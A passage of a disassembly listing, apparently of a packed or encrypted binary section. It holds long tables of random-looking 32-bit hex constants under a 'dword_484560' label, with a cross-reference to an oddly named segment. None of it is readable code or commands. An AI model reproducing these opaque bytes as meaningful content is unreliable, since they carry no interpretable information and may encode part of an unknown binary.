		dd 0FBF20A72h, 0FC36B181h, 0CFAF2237h, 65F37657h, 2510BADBh
		dd 4D5DB55Ah, 5FB05C75h
		dd 0BFBEBFC9h, 75F84BFDh, 0ABD033A4h, 0E5488763h, 46365A2Fh
		dd 0CED63BB8h, 0EEB807E1h, 0A2A15B2Ah, 5FDE1225h, 59AC83FBh
		dd 98839443h, 0DE3CACE9h, 2BCCCBFDh, 0B6EF7ED5h, 9FBB3F17h
		dd 0D37FB8FDh, 0E33344BEh, 0DCB2AB89h, 6260A14Ch, 795A3D6Ah
		dd 0AFE4F551h, 65E8B0FCh, 74B32FB1h, 353B1539h,	2DEDFADh
		dd 8F02333Ch, 46E706BDh, 15941DB6h, 0C6FBFE17h,	5524CE6Fh
		dd 0EBBBE4BAh, 0FA21971h, 0B0CCF9ECh, 0C5645712h, 925080B6h
		dd 1F39CBh, 0AA89B46Dh,	58C73D9Fh, 0E9D70E64h, 97CF98A6h
		dd 979A9206h, 30FCD7E7h, 6AD33037h, 172B7F6Ah, 70FF934Dh
		dd 0A2C7E379h, 29A82266h, 3B963096h, 0F68817E3h, 67168FEDh
		dd 0F9E74E1Eh, 603EBA80h, 0F976E9D0h, 0B46622FEh, 65C22AF3h
		dd 0EC8A5CE7h, 0B2BB2F4Ch, 46E0D609h, 5D811A16h, 0F38A63EBh
		dd 9813BAF9h, 522F48Ah,	0D7BD953Fh, 0EB75CCABh,	0D8D0CB31h
		dd 0AE99013Ah, 0FC9959D5h, 0C790B3A1h, 87E1671Fh, 7A41CE9Ch
		dd 0F777B36Bh, 58CA985Fh, 112A2B4h, 9F40AFDFh, 0F434E1D6h
		dd 1CDBC89Dh, 67DC5B27h, 79B189E0h, 1069FCE2h, 0EB62FAE3h
		dd 0D1EDEEA5h, 0C2EA65F9h, 0ED180F61h, 3B2DA55Ah, 607CD9DBh
		dd 0EDD3E688h, 0CB69B2E8h, 79507AF2h, 0BE1EAB47h, 0D4DB4844h
		dd 0B9E5FC5h, 0BDBEC6EEh, 41EA100Ah, 2C5D33BEh,	0ECB6770h
		dd 0A059375Bh, 815971F9h, 4E24E3EFh, 54E37FCh, 1632D52h
		dd 0C0C7FF2Fh, 687D1963h, 0C37D5CB2h, 9315F833h, 0FCDC5F2Bh
		dd 0C9CC188Dh, 0B8253C47h, 595955F9h, 1C76C5D4h, 48567DB7h
		dd 7D4C2647h, 0D80FFEFDh, 8706F69Bh, 0D7AA0AA8h, 0FC90F9F8h
		dd 658813F6h, 4E9ADC41h, 3125DFB3h, 9DDA0453h, 0B83FF166h
		dd 0D1CB0123h, 0FB482DBEh, 3D05573h, 0B42F4E43h, 66F7C05Bh
		dd 4DA8F612h, 58A88EFAh, 4ECDB743h, 0C2C37454h,	92D5BF03h
		dd 0A935C83Eh, 0B9065016h, 0D3C583Ch, 59A54DEAh, 0DB261A60h
		dd 2EDD749Ch, 0EE700D12h, 0FCC3FA10h, 0AA9B191Bh, 61BBF01Dh
		dd 6E9E7BC9h, 1FDE1CC4h, 654C8388h, 756AB78Bh, 2B736558h
		dd 360F2892h, 60DE354Eh, 73323D65h, 0E62BCC48h,	0EF993EFEh
		dd 53BF879Eh, 2CE5433Fh, 3DDA9E09h, 64886975h, 0E96B8180h
		dd 37ACB395h, 378D9FDBh, 0DBA37A66h, 0BBD49F22h, 0AEBA53DCh
		dd 0D7BCC3Fh, 7C30D0A9h, 79BC9D26h, 2C9908Ch, 0FE7F4C5h
		dd 0A91F48E9h, 6174B130h, 50BB57A2h, 0E5DE6BF3h, 0FDE845C9h
		dd 8CAE607Ah, 59ACA56Ah, 45B2E70Eh, 0EA2DF53Bh,	6EBB2DA1h
		dd 7F1D8287h, 0D1D78911h, 0F0AE7655h, 701817E1h, 7B7CF2FFh
		dd 0EF56692Ah, 10A84A19h, 7E367173h, 4D2AFB58h,	0E8582A75h
		dd 0CF8AE86Fh, 0DFEAF674h, 0F2E3FD36h, 0B869F455h, 0AD8615FCh
		dd 783C1C15h, 7DF9E78h,	0D5FE788Eh, 0F8594BE9h,	0AD3345FEh
		dd 0D7CBB71Bh, 0E82DE3D7h, 44373CEAh, 7781111Eh, 94E5535Ah
		dd 17291A81h, 122B575Ah, 0FEC10639h, 64374659h,	0CBF1D305h
		dd 7606BCDh, 1E7DECDAh,	0C16752EDh, 0C1829F31h,	95763443h
		dd 56B99251h, 0BB25B165h, 2C11CB44h, 47BE4EDCh,	1940C61Ah
		dd 11C47CD9h, 501EA8F1h, 18D5BDE0h, 76AA12B4h, 463EC56Dh
		dd 0F73FD382h, 8B5FFA28h, 0A0CF2B34h, 521415D8h, 0B5940039h
		dd 67E4D4E8h, 0F936BD9Ah, 3E0DF0BEh, 0C14F568Fh, 2BDDA026h
		dd 8863B03Fh, 0DA786781h, 0F17898C4h, 688FCA90h, 86DB8B40h
		dd 557F0855h, 8B1752B4h, 0A9CF1FC8h, 10A0ADE2h,	387C3053h
		dd 8DE5A0E8h, 65FE8088h, 76A6709Bh, 381A42EBh, 0B72446A8h
		dd 0B8C62CF5h, 0C5FF5FE1h, 0E4E6F425h, 0AD73140Ah, 9D4DECE2h
		dd 56BC21F8h, 2E29F1A0h, 89A6EE59h, 0AD9ECEBCh,	7EF5A642h
		dd 8BC5A705h, 43F0484Bh, 0E2C9A89Bh, 5B1EFC7Dh,	0DE9B73h
		dd 158CBEA5h, 4DF363B4h, 0F94856EAh, 5576778h, 0E5F6A3FFh
		dd 12AC2C4Eh, 8B477E9Ah, 12FBDB1Eh, 85FE8FE5h, 0FBF13AD4h
		dd 555F3D5Ah, 35696D70h, 24538F12h, 0C82DE097h,	510999B7h
		dd 792A3982h, 0F9DDF923h, 75B4A059h, 3C95B387h,	4AE791BBh
		dd 0DD9A9CF3h, 9692BED7h, 0EE5CEF7Ch, 0DD67CA5Eh, 0F5FDA656h
		dd 0DEC8E33Bh, 68C48071h, 0FE0FF564h, 16D3A0D4h, 0B2B5B969h
		dd 76E1D057h, 0BE6E1701h, 3C1E4D9h, 0E76AF513h,	609EB76Dh
		dd 0E644B31Eh, 0B05AD62Eh, 19DD3E35h, 0DB543449h, 95F03443h
		dd 0D57C3B8Dh, 65477C30h, 0C2D738E8h, 890186EBh, 0A67D695Dh
		dd 7DBD785h, 83CAE2BEh,	28A5FFCFh, 0C24B54E8h, 32964196h
		dd 39DB87CEh, 51897AA5h, 0CCF00F01h, 6D6A2D10h,	0DDA8DDCCh
		dd 206B2485h, 0D2571423h, 489CB2ACh, 0A3ADD15Dh, 0C8BC33B3h
		dd 0CCD906A1h, 0FA8BAA40h, 116B37F4h, 0EED352B3h, 0C75145C6h
		dd 263585C3h, 0CF7DD9B3h, 2AB3022Bh, 93658AE2h,	33B2852Ah
		dd 3E1E9ED9h, 7AA14F68h, 0A5E9706Ah, 0BAD694DAh, 98DE08CEh
		dd 151BDCB5h, 970E43F1h, 6BAF2B25h, 0B555C84Fh,	0FA816704h
		dd 0BDB255EFh, 69C8A16Dh, 6E289AD6h, 3D6D1677h,	53D9D2B9h
		dd 314CF21Fh, 35B8C1F5h, 0B3626BFFh, 0EE304B90h, 0D933324Eh
		dd 405785FEh, 687EEAB2h, 6A977D18h, 540E96FBh, 643C3BC5h
		dd 0D2ADBD0Ch, 0C57C9CADh, 731C425Fh, 49988DC3h, 0C8B93AADh
		dd 0A909738h, 0DCDB4BABh, 41D4F864h, 0FF8A091Fh, 65659F86h
		dd 9C07E2E2h, 0D7202CECh, 9F05BA01h, 392636ACh,	5A99703Eh
		dd 28D01BA3h, 0DA7BBA41h, 0FF79D9F1h, 6958F1E5h, 6AAEB995h
		dd 0F3CA15B6h, 138A14B1h, 5181FB70h, 0C168BD4Ah, 0F49E5251h
		dd 0B1F709ADh, 0FB151E2Fh, 0BCC56288h, 7A6E90C2h, 22B1F8DCh
		dd 36ADA5C1h, 1F874514h, 0B7E7A065h, 2960E3BFh,	37DD5B0Ch
		dd 0BBFC684Ah, 6A34338Ah, 23B18FAh, 4FBF90E6h, 59A8FB06h
		dd 0DB220E17h, 0F0FA5306h, 7F356F03h, 0A964EAA4h, 8B23D6C2h
		dd 42BF3F0Fh, 0B5069DB4h, 0B572ACDAh, 513CF8AFh, 6C5A7917h
		dd 18FCAE9Ch, 7B5FB96h,	0FC11C94h, 89216A3Fh, 0DFF74149h
		dd 36329A64h, 7679AA52h, 0E71FB70Ah, 0CA5090Dh,	90593742h
		dd 3C45C676h, 167416B6h, 2EAED43Bh, 7FF5F49Bh, 0CCF87E08h
		dd 0B56898Fh, 0D9834EF9h, 6ABD8E5Bh, 7D62693Bh,	0DC2E0347h
		dd 8C001D8h, 91C28B11h,	8733F824h, 0EA08B325h, 94A87784h
		dd 3E566D22h, 2B03CB20h, 5826F2ABh, 2516E72Bh, 0B44B2C4Eh
		dd 6BDACA05h, 5C24E5A3h, 7CC69197h, 1EAF4F9Eh, 0C5DBB4BFh
		dd 0CC293FA2h, 0AB800B6Eh, 21349623h, 738B8A3Bh, 93FD9312h
		dd 0A3DC62BDh, 6A29816Fh, 33E0B7A4h, 0DF527EFBh, 36335A48h
		dd 56C4ED6Ah, 356E65C2h, 0E71E4C02h, 5D6A9781h
dword_484560	dd 1DC5D16Bh, 0E0E69485h, 0E453F5C1h, 350BC7E0h, 0D79D506Eh
					; DATA XREF: c.7ld2ih:off_41E854o
		dd 42DF4571h, 4D5F34C7h, 41DDDAADh, 7842209Fh, 122C944Ch
		dd 9D3C45D5h, 38A764F8h, 0ECB8F1Ah, 4A0F390Fh, 0EDDA6939h
		dd 936DD3AFh, 0ECF65B34h, 48B984D1h, 0FD5EAD5h,	0B35B83DFh
		dd 0F4BA333h, 0AF3B0E4Ch, 0DFE738B3h, 4F94F064h, 14FFA97h
		dd 21D7FD5Eh, 0F5E59CA2h, 97B18A97h, 0D6170AE9h, 0DA695A97h
		dd 4D0CEA32h, 0BBB65A5Ch, 6B14EE07h, 0AF85024Ah, 0B068A51Fh
		dd 9C92D131h, 995BE271h, 572CBE42h, 84F3AD3Fh, 9FA1C50Dh
		dd 0FD4B2FACh, 4F0D2CAEh, 0F0D1FA76h, 1E7B4BA6h, 9F99333Ch
		dd 0D2E9B99Fh, 3EA0E355h, 0BE255426h, 3CB259CAh, 39D8777Fh
		dd 977070B9h, 0DC7B63F8h, 0FCCAEC9Dh, 0E2F7DBFBh, 32BCAE0Ch
		dd 1D847CDCh, 26B2BDC9h, 0A51D73CAh, 3ADE1F63h,	32407A37h
		dd 0DA1FF836h, 18D2EF9h, 392BEC85h, 1F85167Eh, 0DB0D5C2Eh
		dd 0C6D1DD71h, 0D2094954h, 869AF0A4h, 84862A19h, 0B2C175Dh
		dd 0D4AF656Fh, 10FCBDABh, 5F63656Ah, 0E11D5FBDh, 0A1487EE9h
		dd 0CEBF7AA9h, 68DA19Bh, 0CE3ABEEEh, 0EB0CC0A0h, 9A82D22Ch
		dd 0CD4FA438h, 62AD61DDh, 0BBA82B08h, 5BA3B6AEh, 0ED527652h
		dd 8EB91869h, 7C1F82A9h, 0ABD3CD71h, 0B4415232h, 0CC2FF1E0h
		dd 83E75D5Ch, 0A63686BBh, 8515A0Eh, 0F4FD4744h,	4927C86Eh
		dd 0DFD5A98h, 740CC617h, 1A87AEFDh, 2602DE9Eh, 7E618A0Fh
		dd 51B748A0h, 0B925246Ch, 0E839836Ch, 8D80B613h, 8F291A7Dh
		dd 0E3FCA3BFh, 21A276C2h, 0C125204Ah, 0E04E787Fh, 5D7CBF5Dh
		dd 0C6B9B87Eh, 0EA44470Eh, 6F55FD34h, 0C9F2C7EBh, 0CA644734h
		dd 0D3B176Dh, 4CA9C858h, 8D055649h, 8998DE8Dh, 25522688h
		dd 0C271A42Ch, 284F5E3Bh, 85C1AEF0h, 0EB44B12Ch, 67D179EBh
		dd 0F996C0C5h, 0CABC890h, 0FA97768Fh, 0F47AE57Fh, 4A26F4D8h
		dd 5E669C2Bh, 9867EB22h, 0D22DE5DCh, 4EA7FC77h,	0D5431F5Bh
		dd 9FF74B2Fh, 38FCBEA9h, 0D1DFA00Eh, 24635D5Eh,	0D3119C88h
		dd 559272CAh, 0D02F4661h, 0D9F58477h, 673DCD44h, 0A4D4EC28h
		dd 7791356Ah, 0B0C6D68Fh, 0C20592C6h, 0F3AA662Ch, 8C05DDFBh
		dd 0BDFE9182h, 0DF28DFEBh, 0EE1DD065h, 0A5DF4BCh, 7823D1FAh
		dd 272B2C15h, 0FB3C0C06h, 740E0FC0h, 695D1FE5h,	330A1223h
		dd 492EE3A5h, 6D4A8A2Bh, 0E0A9381Eh, 0ADD9191Bh, 0D80D07CEh
		dd 0EE0BD22Dh, 21976124h, 43B535D4h, 8DCA901Ah,	1B857F58h
		dd 0ED077C5Fh, 0D2D09C2Fh, 15515227h, 288E3013h, 84B37A3Ah
		dd 79E48632h, 3D315B30h, 1DC7C059h, 0A1528ABEh,	0E4DA7730h
		dd 0BBAE6BD7h, 728A35C1h, 157ABCC4h, 7693BA85h,	0F5D4364Bh
		dd 0B2E503C3h, 0AC1E6310h, 0EE55B4D1h, 5CD4E0BFh, 131BA88Eh
		dd 56AC8EADh, 679470Ah,	0E8BFC19Fh, 689B0CFDh, 3767A3DFh
		dd 9DB63F70h, 0F0B49E70h, 0A934FB57h, 0F2FFE476h, 0EE28CF92h
		dd 5D1F1497h, 0DAF45A77h, 0FC931E75h, 0B28A2D10h, 9E44310Dh
		dd 7BC748D0h, 0BFD2AF0Ah, 57BEF9DCh, 1D8D4BA5h,	0CC34EB91h
		dd 0D0C4D915h, 56C6EEDEh, 0A5CFAA1Ch, 67FEB38Bh, 475C2D1Bh
		dd 0E8615693h, 6AD70949h, 756492CEh, 5E70E61Ah,	0BE8346ABh
		dd 99F13C9Dh, 257C4CC4h, 8B4C8874h, 42C4067Dh, 4651C2FDh
		dd 7CB8C055h, 0CE9E8367h, 51454125h, 0B44FBA4Ch, 79DB6EC4h
		dd 9DF1B533h, 0F15C9E75h, 0ED62F078h, 0B9F0FDFh, 7A2EB847h
		dd 89C8CE9h, 8B548BDDh,	0DE2B8C86h, 152A8DA7h, 484ECE1h
		dd 1EADF413h, 36D46EC3h, 78F2BF3h, 0C1BEEDB6h, 514D7596h
		dd 0E8158FEEh, 44A2FE9Eh, 69B78272h, 604509Ch, 995507C3h
		dd 87E0DF3Fh, 457AED8Ah, 0F23AB5FDh, 0B438B1BBh, 517F8BB8h
		dd 7AF3EFF7h, 50E1B3F1h, 0C57FF5FCh, 0B149D72Dh, 0A72E03E7h
		dd 0FC32337h, 0ED65EBF9h, 0F17C5BB6h, 6DA79C6Bh, 0A2AF22CFh
		dd 0AE765F8Bh, 0DBD795ACh, 41DCCC38h, 19AF0B6Bh, 3F5B7773h
		dd 0AA74F1ACh, 0B30203FDh, 0BC93680Ah, 83C3451Dh, 4FE5E099h
		dd 2B463592h, 0A3D288D5h, 5F58C5DCh, 0FBFBC5B5h, 8DCFCF45h
		dd 0C9542AF6h, 0E78FCF23h, 0A87042ADh, 0BA403CBh, 0B7C7268Eh
		dd 5719550Ch, 0CC632F19h, 0F1E9EA07h, 2BCBE0AFh, 0C8BA5205h
		dd 3161F4D2h, 0F4A86C83h, 0B3F5B529h, 9D5474C1h, 3E3CDBE5h
		dd 172C45CDh, 0D7225AE5h, 0A0230FC8h, 58FD7849h, 0DAF7FCD0h
		dd 8757DD1Bh, 0C5A12B92h, 0D0FE1980h, 0DE25DF9Bh, 0F86DEBBCh
		dd 7A835E72h, 0B9EE36B9h, 0C672245Ah, 6498410Ah, 10374363h
		dd 0E07BEDF3h, 0D5928997h, 8E69FE3Bh, 0B8C65168h, 0FFD27D3Eh
		dd 5D70D6F0h, 0CAE5F108h, 242C2BB8h, 3A4F4079h,	443A6918h
		dd 0EA51BD0Bh, 0A68788DAh, 570EE96Eh, 184E54CBh, 2A5F2DBDh
		dd 0A8B1B447h, 23BBC34Bh, 0BBF86063h, 84CE5B65h, 26B5E914h
		dd 415CB9Bh, 1DF4D0FCh,	7797FA21h, 0B1863D27h, 37A09DB7h
		dd 991C49CEh, 52D8AE1Fh, 0FBA95747h, 0A6959CC0h, 65DB5B28h
		dd 5D729082h, 11659061h, 0D46DB963h, 90394B64h,	0DD5A2AE5h
		dd 7F3E70EAh, 7D45003Ch, 0B210258Dh, 352A8C86h,	0D7596C71h
		dd 6551D374h, 78E98DF3h, 39ACFF22h, 0A141C171h,	0F0FC7625h
		dd 1AFAC580h, 2174D68Dh, 0F58D9265h, 0A1773113h, 1EAA614Ch
		dd 0A7D72D12h, 2BA0BC54h, 997D03F6h, 6F9BBFCFh,	85C4206Ch
		dd 6AADDDF0h, 146C252Bh, 75CC8323h, 7708131h, 1D752AF5h
		dd 9FACBEC2h, 648BFD54h, 0D6913CCFh, 0B5D4D557h, 0A6F1605Dh
		dd 189B952Ch, 7D5DAFF6h, 5C6F692Dh, 0D055661Eh,	14E1DA57h
		dd 0AF70C849h, 89CDEB6Ah, 28CEA8DBh, 84CA905Fh,	968E900Dh
		dd 1A5CBEBh, 6B2122F9h,	68C4115Ah, 4AB0DAD4h, 527E6D40h
		dd 7F8EBE97h, 0ECB465FFh, 0D31C26ABh, 67F5BE5h,	0BB33CAE3h
		dd 3227215Eh, 97F01FA5h, 0D279A4A3h, 1B9A74F1h,	41B45824h
		dd 0D419FBD7h, 0A0E894C5h, 374E886Ah, 665D70B4h, 0A1B9FDCAh
		dd 1BB773CCh, 0E85A0FBFh, 0C2A57395h, 31D0A3AFh, 0CAB580EFh
		dd 0BC0FD02Fh, 10095A2Fh, 0EE704AFEh, 24C7D8FAh, 81F3CECAh
		dd 257D21C3h, 4D3DE17Fh, 7B7598D3h, 0D9B3C0F6h,	0C4E91E27h
		dd 0F1442B8Ah, 86476457h, 60C2AEB0h, 9DCECEFDh,	2192BB9Ch
		dd 8CBF789Eh, 0F1A2CB5Dh, 9A4C9B0Bh, 470DB45Ah,	4E4D0566h
		dd 0EBE2783Eh, 70A84B4Bh, 0B423432h, 0F384BD4Dh, 0F6366736h
		dd 0FDCAFBBh, 0A9A89F65h, 0A1565544h, 1A4AB035h, 18D9D0ABh
		dd 4D2A55ADh, 303F74E1h, 32159673h, 0BAA20A5Dh,	880C8F91h
		dd 689814D5h, 2D664345h, 54014499h, 59455347h, 4D13E77Bh
		dd 0E450153Bh, 4CFAFCAEh, 0D52ECFAAh, 0F6972C97h, 534BBE04h
		dd 0D574BF39h, 5CAAA875h, 0DDAA1267h, 0D181C039h, 66782E48h
		dd 0E1832B84h, 3AC1332h, 11B9DE72h, 8D7D98D5h, 60AC5EE4h
		dd 0E90EBDFCh, 703DEC8Dh, 6DF5FD4Ah, 0A70FB37Fh, 79AA1B38h
		dd 1F897A7Ch, 59B115D6h, 8508D1D8h, 0FBF26FB1h,	0E78A5B28h
		dd 4365FE4Ch, 5860C6B1h, 0C7959DA8h, 11D788C2h,	0F870D6E7h
		dd 4BC2E16Ah, 3C39FA91h, 3CDEB1CAh, 4A705A4Ch, 7CF226C7h
		dd 0A4DDC960h, 96D63936h, 92B6AB8Dh, 137B596Dh,	0C0FFB827h
		dd 1CEEB37Ch, 6D1F7539h, 3965B80Bh, 51DB57EBh, 1ED533DBh
		dd 0F6ED183Dh, 0B54D6346h, 8DF080B4h, 9B47600Eh, 7BD79F1h
		dd 0BD998F1Bh, 2BA9685h, 0C4A5A7FAh, 0E670CE79h, 7685842Ch
		dd 85E6EDFCh, 0DC924B4Eh, 0E9D621F8h, 7E3CAB44h, 92728A60h
		dd 1CCAFD27h, 0AE4BC921h
		dd 6308ED1Dh, 245B31Fh,	0D84CC178h, 0F1A3ED7Eh,	0B4BA5DFAh
		dd 26CA781Fh, 76BAC53Eh, 7FB5ED52h, 38626E89h, 0E21503E1h
		dd 54812497h, 0F20918F4h, 8FABAB1Ah, 39D247B0h,	0DAF63105h
		dd 410556A6h, 0FAD68A42h, 66E32FC3h, 815D41A8h,	2FF03CBh
		dd 8AEE3B7Dh, 73BABC71h, 2B464011h, 11E07A81h, 4AF32F2Dh
		dd 277E290Bh, 143FB292h, 0A9AC652Ah, 0F1AA1D63h, 2CD80D12h
		dd 0FE0F965Ah, 60A9E41h, 8E74255Ch, 793C40Dh, 6409B77Fh
		dd 0DAF38778h, 6A95A33Ch, 0C87BD011h, 299ED370h, 0F947B167h
		dd 1A1A4ACh, 0BEA49F13h, 0C05788B8h, 0C4F0150Ch, 149F95A2h
		dd 5DBB3E8Dh, 5936554Eh, 0A9A67404h, 0E86F354Eh, 2A170552h
		dd 0CB3AD08Ah, 19D20D0Fh, 29D3DE04h, 8A425716h,	0B6074BBBh
		dd 876A5630h, 0E141D45Fh, 0EEADF097h, 0FDFE3719h, 6B0FA09Bh
		dd 22F3A4A7h, 6D15044Eh, 0B75A6AC6h, 79645CFCh,	67B0BF85h
		dd 0ED513DDCh, 84DBDD43h, 104871D4h, 0E5966E5Ah, 468480E5h
		dd 723C74Fh, 415D769Fh,	0A95A6554h, 3C5CC094h, 0D2BD197Eh
		dd 9668270Bh, 0EEEF7AC5h, 3AB45133h, 0E4062FACh, 0AF07CDABh
		dd 0F1599A6Ah, 0BA3B9CACh, 550F778h, 0AB0AEED3h, 0A56D55A0h
		dd 47E518A4h, 6BA7D4DFh, 0CC0D60A6h, 303E5A5Ah,	93A1689Dh
		dd 0EB101AD4h, 0FFDA5C7Fh, 0BE50F8E0h, 0E189AE63h, 0E65755EAh
		dd 0AA2097ACh, 0B5EB3D03h, 549C973Fh, 0ECC6E2B9h, 0DEA60F7Ch
		dd 0BE14DC5h, 0D61B72A9h, 0F13B4E42h, 6EA928DAh, 6F77743Eh
		dd 63B7B964h, 0FE6A6891h, 0C2B7AAB0h, 7CADFE2h,	0CC497C55h
		dd 4622FF68h, 16242C54h, 467A0E0Fh, 0C6D3C6B2h,	3762381Fh
		dd 0CF3BD140h, 0B9FDCB70h, 0FE0392ADh, 1ACF0225h, 87EA3F4h
		dd 34529611h, 96AA2721h, 28ED3F25h, 0EF3B0CF1h,	0FEAC1A67h
		dd 9984A5D0h, 0D9FD0AC4h, 81DD91D4h, 0AD54F3Ch,	0ED29C8EDh
		dd 9835ED10h, 0F6252BBBh, 0C5428DC0h, 0E7A8376Dh, 0FF91F82h
		dd 0EE4236C5h, 736EB074h, 7A8EB4FCh, 0BAEC105Ch, 0D3125B60h
		dd 0FD9D8327h, 0B0AA9442h, 58627832h, 25ACFC99h, 0A654D4B2h
		dd 0B2DA71BAh, 98236062h, 0FEF66D59h, 0F24EBD43h, 66231526h
		dd 0BBBCB1C9h, 6B444031h, 266491AEh, 1A5727DBh,	0BD5D34B2h
		dd 0E145C50Bh, 4A4E256Eh, 4457FA5Ah, 2EFBF761h,	0CD51E1CFh
		dd 47B0B7FCh, 20A8F5B7h, 5C498C9h, 3C86E224h, 6C664010h
		dd 33F5944Ah, 0E9710797h, 8C5D4CBEh, 78586F36h,	0F6DD6F9Fh
		dd 83C7632Fh, 0F7D636FBh, 0EC41821Ah, 0BFBF7871h, 840F7FFCh
		dd 0F8047E9Eh, 0E2A14720h, 0E2279A38h, 7688312Fh, 81666072h
		dd 3CFF8F77h, 6CB7573Eh, 0FE1F7872h, 9157A519h,	0C2E7C8EFh
		dd 76EDE8D2h, 0D0EEF62Bh, 0DFC49669h, 35A8E350h, 0BD423935h
		dd 4E5F1A68h, 0E393947Ah, 16566CFBh, 8DF6503Fh,	0F5AC3ECEh
		dd 20D81980h, 0D10ADF56h, 2F31CE5Dh, 8603D5B9h,	0A05A1B08h
		dd 85A20482h, 368993AFh, 2ED516EEh, 16685ABDh, 4B46F33h
		dd 0A042E59Fh, 0FB353C37h, 27F7BC3Ch, 49AD7BF1h, 5C25E5F8h
		dd 9F5F9AB0h, 0AB5A546h, 7745267Ch, 1C88A2DCh, 0BA02CA6Eh
		dd 8CD7472Ch, 0F69BFF6Eh, 3F1F1A61h, 84BCC8C4h,	0BFE3A7BDh
		dd 0DED38977h, 0D15CE24Eh, 89F1712Bh, 96E42FD6h, 5FA4B1C3h
		dd 0AD21B03Ch, 1D6DF336h, 0DE86DACDh, 50DE5448h, 9D63CCD7h
		dd 5A9D7215h, 8C742089h, 89572076h, 0ABDABC16h,	7463BA8Eh
		dd 386151F7h, 746A2F90h, 87813F9Eh, 307BDE83h, 0BCE4E56Ah
		dd 1B7E5545h, 18B061CCh, 4FA54485h, 30BD1F0Ch, 338B2887h
		dd 0F4906534h, 0F2AAD89Fh, 56CF344Fh, 211122C7h, 0AB0B3581h
		dd 0FD59C450h, 0DA20C5E5h, 871D9695h, 42FAA88Bh, 79F9BE9Bh
		dd 97870B75h, 5CD0B956h, 0F5C5053Ah, 3999E02Bh,	0D5042BC4h
		dd 0E3B0D7C0h, 0B48B04C3h, 58F73C9Bh, 0FE2FE99Fh, 215BBA1Bh
		dd 8B7076C3h, 0D15F2EBDh, 792A1542h, 0E1FCEF0h,	3ECF0286h
		dd 0A343BFD5h, 10F42DA7h, 0F8DB956Fh, 0B9F77EE1h, 7AB85B80h
		dd 65DAE9E0h, 3CE59B2Eh, 0FF757CB4h, 5FDA1064h,	1B8338D4h
		dd 2BD582E5h, 0E3356E22h, 0B577C278h, 9521F2B5h, 51C50941h
		dd 39349692h, 59F88BAh,	68F37BE4h, 3DFE0C1Eh, 5627EF8Ah
		dd 3D55C0C7h, 56C69307h, 0DD5BC330h, 0B72C8F3h,	47BD4669h
		dd 158E8C2Dh, 25D35270h, 0F57C7A10h, 3A8DD725h,	0AE299FECh
		dd 87156D9Fh, 2E0987D9h, 0F47C09F5h, 4CBE74CEh,	868A2372h
		dd 0A54231CDh, 72D629ADh, 0FBCE46ACh, 0B0182A62h, 1FA98D73h
		dd 9FE522FFh, 9ADE9BBBh, 5F56C2E5h, 18FF17Fh, 0A73855F3h
		dd 0E1CE1D2Eh, 5E01AD17h, 2B93BA17h, 0ADEA7F9Dh, 0C7C6DB54h
		dd 0A5E9E315h, 15676186h, 315C7EFCh, 6F639B2Ch,	0D343096Dh
		dd 0AD63F8F7h, 6992FC83h, 37177CBBh, 3EABFF1Ch,	0BBFCDD7Bh
		dd 70B040Dh, 67320C16h,	4A777254h, 0FB975F27h, 0DA6FBAFCh
		dd 0CC4B7234h, 7F7D0BE3h, 278E3018h, 0FE90BA9Eh, 69B7B099h
		dd 9D13AF22h, 0E2CA9EEBh, 0D6D2397Eh, 557C8008h, 0A94B840h
		dd 2193C3Ah, 5094608Bh,	8251094Ah, 1C5E0D28h, 0DC19961Bh
		dd 0CB96FC27h, 67E20C24h, 5514CB8Bh, 81D55F7h, 0B4E6CA31h
		dd 1D023904h, 0CD933E23h, 197DF81Dh, 48059B63h,	733D008Bh
		dd 0B4F8BCE8h, 4369CC07h, 841FD395h, 2D7BF46Ch,	0CAC9B869h
		dd 0D17514E8h, 0D9E1D977h, 9A95C71Ch, 3A0FAEE1h, 7FC0968Fh
		dd 48EAED31h, 3DA296E9h, 0D1CA18BEh, 981F66BBh,	5DCE583Bh
		dd 0C86F0587h, 2D4A97B4h, 0DD2DBA3Ch, 0D4B48ECDh, 0ABCC7951h
		dd 1B5D3E14h, 545BA6A7h, 0F4866823h, 5DD31967h,	0B1C21B7Bh
		dd 0C54E4B97h, 0B2738119h, 0E85B4BF2h, 2F99CECBh, 0FCE047F3h
		dd 1A5F812Bh, 0A2E178D7h, 945C5B2Ch, 0C3C39D20h, 2FEF06CEh
		dd 48507B50h, 0FBBB9541h, 57DAFE30h, 0F1E5EA18h, 0D6CCAF31h
		dd 0C79F7738h, 0A9BAD56Bh, 95B0D927h, 62E39564h, 942CC169h
		dd 4772B704h, 8B2DE0C1h, 10C46FB8h, 0E63677Fh, 1A888D76h
		dd 54E679CFh, 0DD574BAEh, 97AF160Dh, 0CA35EDA3h, 0E44BAC13h
		dd 0E12FDE2Fh, 0C88DA0BEh, 0FB712FB0h, 505D5235h, 0EBD95075h
		dd 0F9374F42h, 1A101186h, 8037F02Dh, 0A9FEEA2Dh, 515A2292h
		dd 1D1549B2h, 64BB4BA4h, 1380A76Ah, 591DB649h, 82B2B629h
		dd 0E9DB899Bh, 377F4969h, 8237EFA4h, 0D7397181h, 39218CCAh
		dd 187B8E78h, 70B80C82h, 0A491C51Fh, 9FC5ADA7h,	47CC18F5h
		dd 0B16ACD0Eh, 8E0718D5h, 0FB5CD09Ch, 47FBC51Eh, 93AB34C9h
		dd 0A85F2CBEh, 0E4D4CFE6h, 2B8EF169h, 0BFB31434h, 0AE1494E7h
		dd 0E75076CCh, 0C75E1739h, 0F5AE9EEAh, 0F8A460DBh, 0A7ADEB7Dh
		dd 95EFED95h, 4F75189Fh, 43F64E4h, 0D7311EAFh, 14761D41h
		dd 0B6596B33h, 0D5427D7Ah, 773772EBh, 2913BBB8h, 8ED35455h
		dd 5ED1ECE3h, 627D1B8Dh, 0A66B7DCFh, 0C4174E23h, 3C59AFFAh
		dd 7FBEE7D1h, 630D19B1h, 9BCC82EBh, 0F0552833h,	0D26F4AADh
		dd 7B8A3CD6h, 0FEF5B166h, 8DC67C05h, 3857C701h,	0E537030Bh
		dd 97B221DBh, 0FFEAEA5h, 0AAA47DFAh, 8DFC1858h,	0ADDB5496h
		dd 10A07652h, 0FE6F5EA8h, 219D48E1h, 3C95DE1Eh,	3F15C4BBh
		dd 21CC0342h, 8AE38B5Ah, 0D8D5F4DDh, 0A3202FA2h, 830D44F2h
		dd 0C3B5FAABh, 0FDFB0CF2h, 351FE2BDh, 0F2E67DDAh, 0DF41B980h
		dd 6A5FE2Bh, 86723CC7h,	0B47D324Eh, 9BEA57EEh, 0E6F2353Dh
		dd 4279ADE1h, 0A56782D9h, 358D704Eh, 5A0670ECh,	9C1D25E9h
		dd 270169D7h, 134A2F9Bh
